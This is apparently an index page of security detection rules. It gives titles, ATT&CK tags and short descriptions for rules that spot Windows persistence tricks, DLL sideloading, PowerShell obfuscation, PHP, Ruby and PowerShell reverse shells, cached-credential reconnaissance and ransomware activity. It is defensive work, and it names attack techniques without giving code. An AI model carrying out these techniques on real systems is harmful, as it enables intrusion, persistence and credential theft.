Potential Persistence Via DLLPathOverride

Aug 12, 2024 · attack.persistence ·
Share on:

Detects when an attacker adds a new "DLLPathOverride" value to the "Natural Language" key in order to achieve persistence which will get invoked by "SearchIndexer.exe" process

Read More
Potential Persistence Via Event Viewer Events.asp

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.t1112 ·
Share on:

Detects potential registry persistence technique using the Event Viewer "Events.asp" technique

Read More
Potential Persistence Via Excel Add-in - Registry

Aug 12, 2024 · attack.persistence attack.t1137.006 ·
Share on:

Detect potential persistence via the creation of an excel add-in (XLL) file to make it run automatically when Excel is started.

Read More
Potential Persistence Via GlobalFlags

Aug 12, 2024 · attack.privilege-escalation attack.persistence attack.defense-evasion attack.t1546.012 car.2013-01-002 ·
Share on:

Detects registry persistence technique using the GlobalFlags and SilentProcessExit keys

Read More
Potential Persistence Via Logon Scripts - CommandLine

Aug 12, 2024 · attack.persistence attack.t1037.001 ·
Share on:

Detects the addition of a new LogonScript to the registry value "UserInitMprLogonScript" for potential persistence

Read More
Potential Persistence Via Logon Scripts - Registry

Aug 12, 2024 · attack.t1037.001 attack.persistence attack.lateral-movement ·
Share on:

Detects creation of "UserInitMprLogonScript" registry value which can be used as a persistence method by malicious actors

Read More
Potential Persistence Via LSA Extensions

Aug 12, 2024 · attack.persistence ·
Share on:

Detects when an attacker modifies the "REG_MULTI_SZ" value named "Extensions" to include a custom DLL to achieve persistence via lsass. The "Extensions" list contains filenames of DLLs being automatically loaded by lsass.exe. Each DLL has its InitializeLsaExtension() method called after loading.

Read More
Potential Persistence Via Microsoft Compatibility Appraiser

Aug 12, 2024 · attack.persistence attack.t1053.005 ·
Share on:

Detects manual execution of the "Microsoft Compatibility Appraiser" task via schtasks. In order to trigger persistence stored in the "\AppCompatFlags\TelemetryController" registry key.

Read More
Potential Persistence Via Microsoft Office Add-In

Aug 12, 2024 · attack.persistence attack.t1137.006 ·
Share on:

Detects potential persistence activity via startup add-ins that load when Microsoft Office starts (.wll/.xll are simply .dll fit for Word or Excel).

Read More
Potential Persistence Via Microsoft Office Startup Folder

Aug 12, 2024 · attack.persistence attack.t1137 ·
Share on:

Detects creation of Microsoft Office files inside of one of the default startup folders in order to achieve persistence.

Read More
Potential Persistence Via Mpnotify

Aug 12, 2024 · attack.persistence ·
Share on:

Detects when an attacker register a new SIP provider for persistence and defense evasion

Read More
Potential Persistence Via Netsh Helper DLL

Aug 12, 2024 · attack.privilege-escalation attack.persistence attack.t1546.007 attack.s0108 ·
Share on:

Detects the execution of netsh with "add helper" flag in order to add a custom helper DLL. This technique can be abused to add a malicious helper DLL that can be used as a persistence proxy that gets called when netsh.exe is executed.

Read More
Potential Persistence Via New AMSI Providers - Registry

Aug 12, 2024 · attack.persistence ·
Share on:

Detects when an attacker registers a new AMSI provider in order to achieve persistence

Read More
Potential Persistence Via Notepad++ Plugins

Aug 12, 2024 · attack.persistence ·
Share on:

Detects creation of new ".dll" files inside the plugins directory of a notepad++ installation by a process other than "gup.exe". Which could indicates possible persistence

Read More
Potential Persistence Via Outlook Form

Aug 12, 2024 · attack.persistence attack.t1137.003 ·
Share on:

Detects the creation of a new Outlook form which can contain malicious code

Read More
Potential Persistence Via Outlook Home Page

Aug 12, 2024 · attack.persistence attack.t1112 ·
Share on:

Detects potential persistence activity via outlook home page. An attacker can set a home page to achieve code execution and persistence by editing the WebView registry keys.

Read More
Potential Persistence Via Outlook LoadMacroProviderOnBoot Setting

Aug 12, 2024 · attack.persistence attack.command-and-control attack.t1137 attack.t1008 attack.t1546 ·
Share on:

Detects the modification of Outlook setting "LoadMacroProviderOnBoot" which if enabled allows the automatic loading of any configured VBA project/module

Read More
Potential Persistence Via Outlook Today Page

Aug 12, 2024 · attack.persistence attack.t1112 ·
Share on:

Detects potential persistence activity via outlook today page. An attacker can set a custom page to execute arbitrary code and link to it via the registry values "URL" and "UserDefinedUrl".

Read More
Potential Persistence Via PlistBuddy

Aug 12, 2024 · attack.persistence attack.t1543.001 attack.t1543.004 ·
Share on:

Detects potential persistence activity using LaunchAgents or LaunchDaemons via the PlistBuddy utility

Read More
Potential Persistence Via Powershell Search Order Hijacking - Task

Aug 12, 2024 · attack.execution attack.persistence attack.t1053.005 attack.t1059.001 ·
Share on:

Detects suspicious powershell execution via a schedule task where the command ends with an suspicious flags to hide the powershell instance instead of executeing scripts or commands. This could be a sign of persistence via PowerShell "Get-Variable" technique as seen being used in Colibri Loader

Read More
Potential Persistence Via PowerShell User Profile Using Add-Content

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1546.013 ·
Share on:

Detects calls to "Add-Content" cmdlet in order to modify the content of the user profile and potentially adding suspicious commands for persistence

Read More
Potential Persistence Via Scrobj.dll COM Hijacking

Aug 12, 2024 · attack.persistence attack.t1546.015 ·
Share on:

Detect use of scrobj.dll as this DLL looks for the ScriptletURL key to get the location of the script to execute

Read More
Potential Persistence Via Security Descriptors - ScriptBlock

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.privilege-escalation ·
Share on:

Detects usage of certain functions and keywords that are used to manipulate security descriptors in order to potentially set a backdoor. As seen used in the DAMP project.

Read More
Potential Persistence Via Shim Database In Uncommon Location

Aug 12, 2024 · attack.persistence attack.t1546.011 ·
Share on:

Detects the installation of a new shim database where the file is located in a non-default location

Read More
Potential Persistence Via Shim Database Modification

Aug 12, 2024 · attack.persistence attack.t1546.011 ·
Share on:

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time

Read More
Potential Persistence Via TypedPaths

Aug 12, 2024 · attack.persistence ·
Share on:

Detects modification addition to the 'TypedPaths' key in the user or admin registry from a non standard application. Which might indicate persistence attempt

Read More
Potential Persistence Via Visual Studio Tools for Office

Aug 12, 2024 · attack.t1137.006 attack.persistence ·
Share on:

Detects persistence via Visual Studio Tools for Office (VSTO) add-ins in Office applications.

Read More
Potential Persistence Via VMwareToolBoxCmd.EXE VM State Change Script

Aug 12, 2024 · attack.execution attack.persistence attack.t1059 ·
Share on:

Detects execution of the "VMwareToolBoxCmd.exe" with the "script" and "set" flag to setup a specific script to run for a specific VM state

Read More
Potential PetitPotam Attack Via EFS RPC Calls

Aug 12, 2024 · attack.t1557.001 attack.t1187 ·
Share on:

Detects usage of the windows RPC library Encrypting File System Remote Protocol (MS-EFSRPC). Variations of this RPC are used within the attack refereed to as PetitPotam. The usage of this RPC function should be rare if ever used at all. Thus usage of this function is uncommon enough that any usage of this RPC function should warrant further investigation to determine if it is legitimate. View surrounding logs (within a few minutes before and after) from the Source IP to. Logs from from the Source IP would include dce_rpc, smb_mapping, smb_files, rdp, ntlm, kerberos, etc..'

Read More
Potential PHP Reverse Shell

Aug 12, 2024 · attack.execution ·
Share on:

Detects usage of the PHP CLI with the "-r" flag which allows it to run inline PHP code. The rule looks for calls to the "fsockopen" function which allows the creation of sockets. Attackers often leverage this in combination with functions such as "exec" or "fopen" to initiate a reverse shell connection.

Read More
Potential PlugX Activity

Aug 12, 2024 · attack.s0013 attack.defense-evasion attack.t1574.002 detection.emerging-threats ·
Share on:

Detects the execution of an executable that is typically used by PlugX for DLL side loading starting from an uncommon location

Read More
Potential PowerShell Command Line Obfuscation

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1027 attack.t1059.001 ·
Share on:

Detects the PowerShell command lines with special characters

Read More
Potential PowerShell Downgrade Attack

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059.001 ·
Share on:

Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0

Read More
Potential PowerShell Execution Policy Tampering - ProcCreation

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects changes to the PowerShell execution policy registry key in order to bypass signing requirements for script execution from the CommandLine

Read More
Potential PowerShell Execution Via DLL

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 ·
Share on:

Detects potential PowerShell execution from a DLL instead of the usual PowerShell process as seen used in PowerShdll. This detection assumes that PowerShell commands are passed via the CommandLine.

Read More
Potential PowerShell Obfuscation Using Alias Cmdlets

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1027 attack.t1059.001 ·
Share on:

Detects Set-Alias or New-Alias cmdlet usage. Which can be use as a mean to obfuscate PowerShell scripts

Read More
Potential PowerShell Obfuscation Using Character Join

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1027 attack.t1059.001 ·
Share on:

Detects specific techniques often seen used inside of PowerShell scripts to obfscuate Alias creation

Read More
Potential PowerShell Obfuscation Via Reversed Commands

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects the presence of reversed PowerShell commands in the CommandLine. This is often used as a method of obfuscation by attackers

Read More
Potential PowerShell Obfuscation Via WCHAR

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1027 ·
Share on:

Detects suspicious encoded character syntax often used for defense evasion

Read More
Potential Powershell ReverseShell Connection

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects usage of the "TcpClient" class. Which can be abused to establish remote connections and reverse-shells. As seen used by the Nishang "Invoke-PowerShellTcpOneLine" reverse shell and other.

Read More
Potential POWERTRASH Script Execution

Aug 12, 2024 · attack.execution attack.t1059.001 attack.g0046 detection.emerging-threats ·
Share on:

Detects potential execution of the PowerShell script POWERTRASH

Read More
Potential Privilege Escalation Attempt Via .Exe.Local Technique

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation ·
Share on:

Detects potential privilege escalation attempt via the creation of the "*.Exe.Local" folder inside the "System32" directory in order to sideload "comctl32.dll"

Read More
Potential Privilege Escalation To LOCAL SYSTEM

Aug 12, 2024 · attack.resource-development attack.t1587.001 ·
Share on:

Detects unknown program using commandline flags usually used by tools such as PsExec and PAExec to start programs with SYSTEM Privileges

Read More
Potential Privilege Escalation Using Symlink Between Osk and Cmd

Aug 12, 2024 · attack.privilege-escalation attack.persistence attack.t1546.008 ·
Share on:

Detects the creation of a symbolic link between "cmd.exe" and the accessibility on-screen keyboard binary (osk.exe) using "mklink". This technique provides an elevated command prompt to the user from the login screen without the need to log in.

Read More
Potential Privileged System Service Operation - SeLoadDriverPrivilege

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects the usage of the 'SeLoadDriverPrivilege' privilege. This privilege is required to load or unload a device driver. With this privilege, the user can dynamically load and unload device drivers or other code in to kernel mode. This user right does not apply to Plug and Play device drivers. If you exclude privileged users/admins and processes, which are allowed to do so, you are maybe left with bad programs trying to load malicious kernel drivers. This will detect Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs) and the usage of Sysinternals and various other tools. So you have to work with a whitelist to find the bad stuff.

Read More
Potential Process Execution Proxy Via CL_Invocation.ps1

Aug 12, 2024 · attack.defense-evasion attack.t1216 ·
Share on:

Detects calls to "SyncInvoke" that is part of the "CL_Invocation.ps1" script to proxy execution using "System.Diagnostics.Process"

Read More
Potential Process Injection Via Msra.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1055 ·
Share on:

Detects potential process injection via Microsoft Remote Asssistance (Msra.exe) by looking at suspicious child processes spawned from the aforementioned process. It has been a target used by many threat actors and used for discovery and persistence tactics

Read More
Potential Product Class Reconnaissance Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 car.2016-03-002 ·
Share on:

Detects the execution of WMIC in order to get a list of firewall and antivirus products

Read More
Potential Product Reconnaissance Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects the execution of WMIC in order to get a list of firewall and antivirus products

Read More
Potential Provisioning Registry Key Abuse For Binary Proxy Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects potential abuse of the provisioning registry key for indirect command execution through "Provlaunch.exe".

Read More
Potential Provisioning Registry Key Abuse For Binary Proxy Execution - REG

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects potential abuse of the provisioning registry key for indirect command execution through "Provlaunch.exe".

Read More
Potential Provlaunch.EXE Binary Proxy Execution Abuse

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects child processes of "provlaunch.exe" which might indicate potential abuse to proxy execution.

Read More
Potential PsExec Remote Execution

Aug 12, 2024 · attack.resource-development attack.t1587.001 ·
Share on:

Detects potential psexec command that initiate execution on a remote systems via common commandline flags used by the utility

Read More
Potential PSFactoryBuffer COM Hijacking

Aug 12, 2024 · attack.persistence attack.t1546.015 ·
Share on:

Detects changes to the PSFactory COM InProcServer32 registry. This technique was used by RomCom to create persistence storing a malicious DLL.

Read More
Potential Qakbot Registry Activity

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects a registry key used by IceID in a campaign that distributes malicious OneNote files

Read More
Potential Qakbot Rundll32 Execution

Aug 12, 2024 · attack.defense-evasion attack.execution detection.emerging-threats ·
Share on:

Detects specific process tree behavior of a "rundll32" execution often linked with potential Qakbot activity.

Read More
Potential QBot Activity

Aug 12, 2024 · attack.execution attack.t1059.005 detection.emerging-threats ·
Share on:

Detects potential QBot activity by looking for process executions used previously by QBot

Read More
Potential Ransomware Activity Using LegalNotice Message

Aug 12, 2024 · attack.impact attack.t1491.001 ·
Share on:

Detect changes to the "LegalNoticeCaption" or "LegalNoticeText" registry values where the message set contains keywords often used in ransomware ransom messages

Read More
Potential Ransomware or Unauthorized MBR Tampering Via Bcdedit.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1070 attack.persistence attack.t1542.003 ·
Share on:

Detects potential malicious and unauthorized usage of bcdedit.exe

Read More
Potential Raspberry Robin Aclui Dll SideLoading

Aug 12, 2024 · detection.emerging-threats attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential sideloading of malicious "aclui.dll" by OleView.This behavior was observed in Raspberry-Robin variants reported by chekpoint research on Feburary 2024.

Read More
Potential Raspberry Robin CPL Execution Activity

Aug 12, 2024 · detection.emerging-threats attack.defense-evasion attack.execution attack.t1218.011 ·
Share on:

Detects the execution of a ".CPL" file located in the user temp directory via the Shell32 DLL "Control_RunDLL" export function. This behavior was observed in multiple Raspberry-Robin variants.

Read More
Potential Raspberry Robin Dot Ending File

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects commandline containing reference to files ending with a "." This scheme has been seen used by raspberry-robin

Read More
Potential Raspberry Robin Registry Set Internet Settings ZoneMap

Aug 12, 2024 · detection.emerging-threats attack.t1112 attack.defense-evasion ·
Share on:

Detects registry modifications related to the proxy configuration of the system, potentially associated with the Raspberry Robin malware, as seen in campaigns running in Q1 2024. Raspberry Robin may alter proxy settings to circumvent security measures, ensuring unhindered connection with Command and Control servers for maintaining control over compromised systems if there are any proxy settings that are blocking connections.

Read More
Potential Rcdll.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of rcdll.dll

Read More
Potential RCE Exploitation Attempt In NodeJS

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects process execution related errors in NodeJS. If the exceptions are caused due to user input then they may suggest an RCE vulnerability.

Read More
Potential RDP Tunneling Via Plink

Aug 12, 2024 · attack.command-and-control attack.t1572 ·
Share on:

Execution of plink to perform data exfiltration and tunneling

Read More
Potential RDP Tunneling Via SSH

Aug 12, 2024 · attack.command-and-control attack.t1572 ·
Share on:

Execution of ssh.exe to perform data exfiltration and tunneling through RDP

Read More
Potential Recon Activity Using DriverQuery.EXE

Aug 12, 2024 · attack.discovery ·
Share on:

Detect usage of the "driverquery" utility to perform reconnaissance on installed drivers

Read More
Potential Recon Activity Via Nltest.EXE

Aug 12, 2024 · attack.discovery attack.t1016 attack.t1482 ·
Share on:

Detects nltest commands that can be used for information discovery

Read More
Potential Reconnaissance Activity Via GatherNetworkInfo.VBS

Aug 12, 2024 · attack.discovery attack.execution attack.t1615 attack.t1059.005 ·
Share on:

Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". Which can be used to gather information about the target machine

Read More
Potential Reconnaissance For Cached Credentials Via Cmdkey.EXE

Aug 12, 2024 · attack.credential-access attack.t1003.005 ·
Share on:

Detects usage of cmdkey to look for cached credentials on the system

Read More
Potential ReflectDebugger Content Execution Via WerFault.EXE

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1036 ·
Share on:

Detects execution of "WerFault.exe" with the "-pr" commandline flag that is used to run files stored in the ReflectDebugger key which could be used to store the path to the malware in order to masquerade the execution flow

Read More
Potential Register_App.Vbs LOLScript Abuse

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects potential abuse of the "register_app.vbs" script that is part of the Windows SDK. The script offers the capability to register new VSS/VDS Provider as a COM+ application. Attackers can use this to install malicious DLLs for persistence and execution.

Read More
Potential Registry Persistence Attempt Via DbgManagedDebugger

Aug 12, 2024 · attack.persistence attack.t1574 ·
Share on:

Detects the addition of the "Debugger" value to the "DbgManagedDebugger" key in order to achieve persistence. Which will get invoked when an application crashes

Read More
Potential Registry Persistence Attempt Via Windows Telemetry

Aug 12, 2024 · attack.persistence attack.t1053.005 ·
Share on:

Detects potential persistence behavior using the windows telemetry registry key. Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type.

Read More
Potential Regsvr32 Commandline Flag Anomaly

Aug 12, 2024 · attack.defense-evasion attack.t1218.010 ·
Share on:

Detects a potential command line flag anomaly related to "regsvr32" in which the "/i" flag is used without the "/n" which should be uncommon.

Read More
Potential Remote Command Execution In Pod Container

Aug 12, 2024 · attack.t1609 ·
Share on:

Detects attempts to execute remote commands, within a Pod's container using e.g. the "kubectl exec" command.

Read More
Potential Remote Desktop Connection to Non-Domain Host

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

Detects logons using NTLM to hosts that are potentially not part of the domain.

Read More
Potential Remote Desktop Tunneling

Aug 12, 2024 · attack.lateral-movement attack.t1021 ·
Share on:

Detects potential use of an SSH utility to establish RDP over a reverse SSH Tunnel. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination.

Read More
Potential Remote PowerShell Session Initiated

Aug 12, 2024 · attack.execution attack.t1059.001 attack.lateral-movement attack.t1021.006 ·
Share on:

Detects a process that initiated a network connection over ports 5985 or 5986 from a non-network service account. This could potentially indicates a remote PowerShell connection.

Read More
Potential RemoteFXvGPUDisablement.EXE Abuse

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects PowerShell module creation where the module Contents are set to "function Get-VMRemoteFXPhysicalVideoAdapter". This could be a sign of potential abuse of the "RemoteFXvGPUDisablement.exe" binary which is known to be vulnerable to module load-order hijacking.

Read More
Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects PowerShell module creation where the module Contents are set to "function Get-VMRemoteFXPhysicalVideoAdapter". This could be a sign of potential abuse of the "RemoteFXvGPUDisablement.exe" binary which is known to be vulnerable to module load-order hijacking.

Read More
Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell ScriptBlock

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects PowerShell module creation where the module Contents are set to "function Get-VMRemoteFXPhysicalVideoAdapter". This could be a sign of potential abuse of the "RemoteFXvGPUDisablement.exe" binary which is known to be vulnerable to module load-order hijacking.

Read More
Potential Renamed Rundll32 Execution

Aug 12, 2024 · attack.execution ·
Share on:

Detects when 'DllRegisterServer' is called in the commandline and the image is not rundll32. This could mean that the 'rundll32' utility has been renamed in order to avoid detection

Read More
Potential RipZip Attack on Startup Folder

Aug 12, 2024 · attack.persistence attack.t1547 ·
Share on:

Detects a phishing attack which expands a ZIP file containing a malicious shortcut. If the victim expands the ZIP file via the explorer process, then the explorer process expands the malicious ZIP file and drops a malicious shortcut redirected to a backdoor into the Startup folder. Additionally, the file name of the malicious shortcut in Startup folder contains {0AFACED1-E828-11D1-9187-B532F1E9575D} meaning the folder shortcut operation.

Read More
Potential RjvPlatform.DLL Sideloading From Default Location

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects loading of "RjvPlatform.dll" by the "SystemResetPlatform.exe" binary which can be abused as a method of DLL side loading since the "$SysReset" directory isn't created by default.

Read More
Potential RjvPlatform.DLL Sideloading From Non-Default Location

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "RjvPlatform.dll" by "SystemResetPlatform.exe" located in a non-default location.

Read More
Potential RoboForm.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "roboform.dll", a DLL used by RoboForm Password Manager

Read More
Potential Ruby Reverse Shell

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of ruby with the "-e" flag and calls to "socket" related functions. This could be an indication of a potential attempt to setup a reverse shell

Read More
Potential Rundll32 Execution With DLL Stored In ADS

Aug 12, 2024 · attack.defense-evasion attack.t1564.004 ·
Share on:

Detects execution of rundll32 where the DLL being called is stored in an Alternate Data Stream (ADS).

Read More
Potential Russian APT Credential Theft Activity

Aug 12, 2024 · attack.credential-access attack.t1552.001 attack.t1003.003 detection.emerging-threats ·
Share on:

Detects Russian group activity as described in Global Threat Report 2019 by Crowdstrike

Read More
Potential Ryuk Ransomware Activity

Aug 12, 2024 · attack.persistence attack.t1547.001 detection.emerging-threats ·
Share on:

Detects Ryuk ransomware activity

Read More
Potential Script Proxy Execution Via CL_Mutexverifiers.ps1

Aug 12, 2024 · attack.defense-evasion attack.t1216 ·
Share on:

Detects the use of the Microsoft signed script "CL_mutexverifiers" to proxy the execution of additional PowerShell script commands

Read More
Potential SentinelOne Shell Context Menu Scan Command Tampering

Aug 12, 2024 · attack.persistence ·
Share on:

Detects potentially suspicious changes to the SentinelOne context menu scan command by a process other than SentinelOne.

Read More
Potential Server Side Template Injection In Velocity

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects exceptions in velocity template renderer, this most likely happens due to dynamic rendering of user input and may lead to RCE.

Read More
Potential ShellDispatch.DLL Functionality Abuse

Aug 12, 2024 · attack.execution attack.defense-evasion ·
Share on:

Detects potential "ShellDispatch.dll" functionality abuse to execute arbitrary binaries via "ShellExecute"

Read More
Potential ShellDispatch.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "ShellDispatch.dll"

Read More
Potential Shim Database Persistence via Sdbinst.EXE

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1546.011 ·
Share on:

Detects installation of a new shim using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims

Read More
Potential Sidecar Injection Into Running Deployment

Aug 12, 2024 · attack.t1609 ·
Share on:

Detects attempts to inject a sidecar container into a running deployment. A sidecar container is an additional container within a pod, that resides alongside the main container. One way to add containers to running resources like Deployments/DeamonSets/StatefulSets, is via a "kubectl patch" operation. By injecting a new container within a legitimate pod, an attacker can run their code and hide their activity, instead of running their own separated pod in the cluster.

Read More
Potential Signing Bypass Via Windows Developer Features

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects when a user enable developer features such as "Developer Mode" or "Application Sideloading". Which allows the user to install untrusted packages.

Read More
Potential Signing Bypass Via Windows Developer Features - Registry

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects when the enablement of developer features such as "Developer Mode" or "Application Sideloading". Which allows the user to install untrusted packages.

Read More
Potential SmadHook.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "SmadHook.dll", a DLL used by SmadAV antivirus

Read More
Potential SMB Relay Attack Tool Execution

Aug 12, 2024 · attack.execution attack.t1557.001 ·
Share on:

Detects different hacktools used for relay attacks on Windows for privilege escalation

Read More
Potential SNAKE Malware Installation Binary Indicator

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects a specific binary name seen used by SNAKE malware during its installation as described by CISA in their report

Read More
Potential SNAKE Malware Installation CLI Arguments Indicator

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects a specific command line arguments sequence seen used by SNAKE malware during its installation as described by CISA in their report

Read More
Potential SNAKE Malware Persistence Service Execution

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects a specific child/parent process relationship indicative of a "WerFault" process running from the "WinSxS" as a service. This could be indicative of potential SNAKE malware activity as reported by CISA.

Read More
Potential Snatch Ransomware Activity

Aug 12, 2024 · attack.execution attack.t1204 detection.emerging-threats ·
Share on:

Detects specific process characteristics of Snatch ransomware word document droppers

Read More
Potential SocGholish Second Stage C2 DNS Query

Aug 12, 2024 · attack.command-and-control attack.t1219 detection.emerging-threats ·
Share on:

Detects a DNS query initiated from a "wscript" process for domains matching a specific pattern that was seen being used by SocGholish for its Command and Control traffic

Read More
Potential SolidPDFCreator.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "SolidPDFCreator.dll"

Read More
Potential SpEL Injection In Spring Framework

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects potential SpEL Injection exploitation, which may lead to RCE.

Read More
Potential SPN Enumeration Via Setspn.EXE

Aug 12, 2024 · attack.credential-access attack.t1558.003 ·
Share on:

Detects service principal name (SPN) enumeration used for Kerberoasting

Read More
Potential Startup Shortcut Persistence Via PowerShell.EXE

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects PowerShell writing startup shortcuts. This procedure was highlighted in Red Canary Intel Insights Oct. 2021, "We frequently observe adversaries using PowerShell to write malicious .lnk files into the startup directory to establish persistence. Accordingly, this detection opportunity is likely to identify persistence mechanisms in multiple threats. In the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL"

Read More
Potential Suspicious Activity Using SeCEdit

Aug 12, 2024 · attack.discovery attack.persistence attack.defense-evasion attack.credential-access attack.privilege-escalation attack.t1562.002 attack.t1547.001 attack.t1505.005 attack.t1556.002 attack.t1562 attack.t1574.007 attack.t1564.002 attack.t1546.008 attack.t1546.007 attack.t1547.014 attack.t1547.010 attack.t1547.002 attack.t1557 attack.t1082 ·
Share on:

Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy

Read More
Potential Suspicious BPF Activity - Linux

Aug 12, 2024 · attack.persistence attack.defense-evasion ·
Share on:

Detects the presence of "bpf_probe_write_user" BPF helper-generated warning messages. Which could be a sign of suspicious eBPF activity on the system.

Read More
Potential Suspicious Browser Launch From Document Reader Process

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects when a browser process or browser tab is launched from an application that handles document files such as Adobe, Microsoft Office, etc. And connects to a web application over http(s), this could indicate a possible phishing attempt.

Read More
Potential Suspicious Change To Sensitive/Critical Files

Aug 12, 2024 · attack.impact attack.t1565.001 ·
Share on:

Detects changes of sensitive and critical files. Monitors files that you don't expect to change without planning on Linux system.

Read More
Potential Suspicious Child Process Of 3CXDesktopApp

Aug 12, 2024 · attack.command-and-control attack.execution attack.t1218 detection.emerging-threats ·
Share on:

Detects potential suspicious child processes of "3CXDesktopApp.exe". Which could be related to the 3CXDesktopApp supply chain compromise

Read More
Potential Suspicious Mofcomp Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects execution of the "mofcomp" utility as a child of a suspicious shell or script running utility or by having a suspicious path in the commandline. The "mofcomp" utility parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. Attackers abuse this utility to install malicious MOF scripts

Read More
Potential Suspicious PowerShell Keywords

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects potentially suspicious keywords that could indicate the use of a PowerShell exploitation framework

Read More
Potential Suspicious PowerShell Module File Created

Aug 12, 2024 · attack.persistence ·
Share on:

Detects the creation of a new PowerShell module in the first folder of the module directory structure "\WindowsPowerShell\Modules\malware\malware.psm1". This is somewhat an uncommon practice as legitimate modules often includes a version folder.

Read More
Potential Suspicious Registry File Imported Via Reg.EXE

Aug 12, 2024 · attack.t1112 attack.defense-evasion ·
Share on:

Detects the import of '.reg' files from suspicious paths using the 'reg.exe' utility

Read More
Potential Suspicious Windows Feature Enabled

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects usage of the built-in PowerShell cmdlet "Enable-WindowsOptionalFeature" used as a Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images

Read More
Potential Suspicious Windows Feature Enabled - ProcCreation

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects usage of the built-in PowerShell cmdlet "Enable-WindowsOptionalFeature" used as a Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images

Read More
Potential Suspicious Winget Package Installation

Aug 12, 2024 · attack.defense-evasion attack.persistence ·
Share on:

Detects potential suspicious winget package installation from a suspicious source.

Read More
Potential SysInternals ProcDump Evasion

Aug 12, 2024 · attack.defense-evasion attack.t1036 attack.t1003.001 ·
Share on:

Detects uses of the SysInternals ProcDump utility in which ProcDump or its output get renamed, or a dump file is moved or copied to a different name

Read More
